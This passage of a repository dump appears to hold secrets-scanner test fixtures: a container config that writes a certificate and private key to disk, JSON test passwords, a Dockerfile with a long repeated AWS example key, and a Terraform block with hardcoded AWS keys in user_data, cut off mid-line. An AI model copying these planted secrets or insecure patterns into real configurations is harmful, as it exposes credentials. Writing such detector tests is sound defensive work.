deiExWsbPTdfEAj93J5bidXAi27uxTC\\n8X2vHBBIbnZipb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3\\nOIkJji4rpJqxG1Z7MvPzAgMBAAGjcjBwMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAo\\nBgNVHREEITAfgh1pbnZhbGlkLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG\\n9w0BAQsFAAOCAYEABsSByXWA7e8hpKWZK4APWzkvDwiTGrDDE7k0hueJksTZ5Nqw\\nfRdGoUpweWIYzAv1etPAr+B2gsZM/jVRidaGDI1tKPytZ3pP6mQ52CVXkeJQytPr\\nrNDnP3Lbpbs8PHoHw3PVxIyRps1ZbZkgbUsXrSvpp/l+ZObbGQjr3Fdx5oXI6a1V\\nNNC39LkPhjTKtcG+H8dO5GRuDb/9PrzrnDwnl6CoORbEjTKRIFuA+vkFBRjyuccr\\nGQiMNmMxy5CMOsK+Od4+8qhv2ZgnREHyBnjFFhgVLFJ2PwUxk3N4GIzCC8tsD+vb\\n+YJgCS7n6JmcB9SFeyRy+qpolnfEaMvRwnJl6Evj17VCBy7x0gEO6B4lILPpziN8\\nVVhSuRsC0V8aXJJx89mwrg9pzN9w771rFVOCrAEdZei34/yfo8VyBbIR1gUxkRNJ\\ncrTI9pT0PK+9OWQ57HtnGmFsPtWT8r7P8xukAPy50wSLF3InjEo8VR2df+V7DVVU\\naTjNbuaG1NLNyWLH\\n-----END CERTIFICATE-----\\nEND_OF_HTTPDETAILS\\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\\n-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVDWPhOpNWAYNT\\nQZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM3cvyRs40dygZ\\neogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV6ttf6y0+4Nq1\\nhRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3ElxIYQsCr85Fy\\nW8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC8X2vHBBIbnZi\\npb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3OIkJji4rpJqx\\nG1Z7MvPzAgMBAAECggEBAM3XhRO7+1QSXCaZdCZ6WuWXzojxrkf8++gpzXPCZ75L\\nvvMyP8xmXc38Za5VyL+MAr7joENxY5NPON/9AgyUBFdbat3RW323vAt0Ssy8Dfti\\nScpuGWTT2CcWS/iJPwJp9bzPj6qJ1wo0Rzsv23FpcjgfcuB+4pHpDwJZ8IxcclTN\\njv5XdmanN0Ai2ONDkIHQyvMTsYAX99OK7nXIs3OW7s4wsm8Wg+loCqTvojTzWuwE\\nTZNFonHAZ81jkrYfNjz+sM/tPuOYD+vWQ89+1IeQKFw1U0iBpF1VvhA7UeQZMeI8\\nS1NpDQTQW0kxmUAlLj7ldnIvknT/x0lKzoafVpk47/kCgYEA+SxnMLHe3Wxb4Kkf\\n7Gwktbth/wlWzUWzQ7c0TdhfEDjcRB7SeGIjrL4/HPyXEsCcGIj84TEob1EA0KVP\\nl6Jeqh5t/sr9da+uLFf6H41yZUaTccoyclnjHsqT+WLTtiTKqf7cXACg5NKbJwUT\\nldCEu+4Ovur+8Ax6s/mGWNEzar0CgYEA2uOmD+SCIhj16P+3GnpZ0UzyDhUKedTy\\nLisZznroF6RI3BHzNT+YotHORDMiJtmX0slFcInAWaB3htLPbHmvredjlsH35eHW\\nB6wkWmbniJEovPysWdg7xjrj8DoL2dcm6liM1KpSo9k6XWJu36//xF4RTnL8JPEH\\nRPuBWmBXHG8CgYBjJy886lr0I61//eztKK+G/bTmRvIapzTJqnqOy54wl1/XX6iD\\nLRJjKCV3RHBdjvXOsZxnhCdB/KrlXBMLFRq0eX1t2Zr4nNsjXDL1IVU3Rdlge4SN\\nioVdeGFf6Nq0bXmUIg3QMpPT2pbQ9S0w/ZQEMJv/jwW5wk2FlrLGXyElxQKBgQC3\\nskUzITp1Ey2NFM290uB93m1llBLum9+DD3jg6BTPgngC+K17Cpw2SI0qfx8yK3pW\\n08MK5xAeJ6Un6NNa3eSptX7GjpJUwmq0lasMkz/MRMZDlGmwHOBNRC729D/t2bo3\\nAYlvEGG6UBvDM1CJOVMUoT008Rrahczr/4ZXKnLw0QKBgExc+SXb5IRJIMHEQLkg\\nE7va23sR7x4j75mK6HnSwAM3jKx4GDgpkY1EO+rh+99mq/bIouL8ob/PG7A5RtKp\\n+Sgpqk5N6NpSFMaubsu1EQhqT5pmy0dN5KXecR4s1IylPvth/h3tdXPKGcLMD2M2\\nEN59YIA1o4qWjJsfEiuQ6x7M\\n-----END PRIVATE KEY-----\\nEND_OF_HTTPDETAILS\\nnode ./index.js\\n\"\n      ],\n      \"image\": \"mendhak/http-https-echo:19\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"wrongly-named-httpdetails\"\n          ]\n        }\n      }\n    },\n    \"wrongly-named-httpdetails-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://wrongly-named-httpdetails:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"wrongly-named-httpdetails-ready\"\n          ]\n        }\n      }\n    }\n  },\n  \"volumes\": {\n    \"fortio_config\": {},\n    \"verify_config\": {}\n  }\n}"
  },
  {
    "path": "tests/secrets/json_multiline/test-multiline-secrets.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME\",\n      \"value\": \"some_value\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/long_line_custom_regex_detector/Dockerfile",
    "content": "FROM base:1\n\nENV SOMETHING=\"wJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEYwJalrXUtnFEMI/LIR/bPxRfiCYEXAMPLEKEY\"\n"
  },
  {
    "path": "tests/secrets/masking_secrets/assets_report_with_pass.json",
    "content": "{\n  \"reportIdentifier\": \"iac_assets\",\n  \"items\": [\n    {\n      \"name\": \"aws_instance.web_host\",\n      \"provider\": \"GitHub\",\n      \"groupId\": \"CKV_AWS_79\",\n      \"fields\": {\n        \"resource_name\": \"web_host\",\n        \"resource_type\": \"aws_instance\",\n        \"framework\": \"TERRAFORM\",\n        \"code_block\": \"resource \\\"aws_instance\\\" \\\"web_host\\\" {\\n  ami           = \\\"${var.ami}\\\"\\n  instance_type = \\\"t2.nano\\\"\\n\\n  vpc_security_group_ids = [\\n  \\\"${aws_security_group.web-node.id}\\\"]\\n  subnet_id = \\\"${aws_subnet.web_subnet.id}\\\"\\n  user_data = <<EOF\\n#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAYNKRE4OV2LF6TC3N\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"<h1>Deployed via 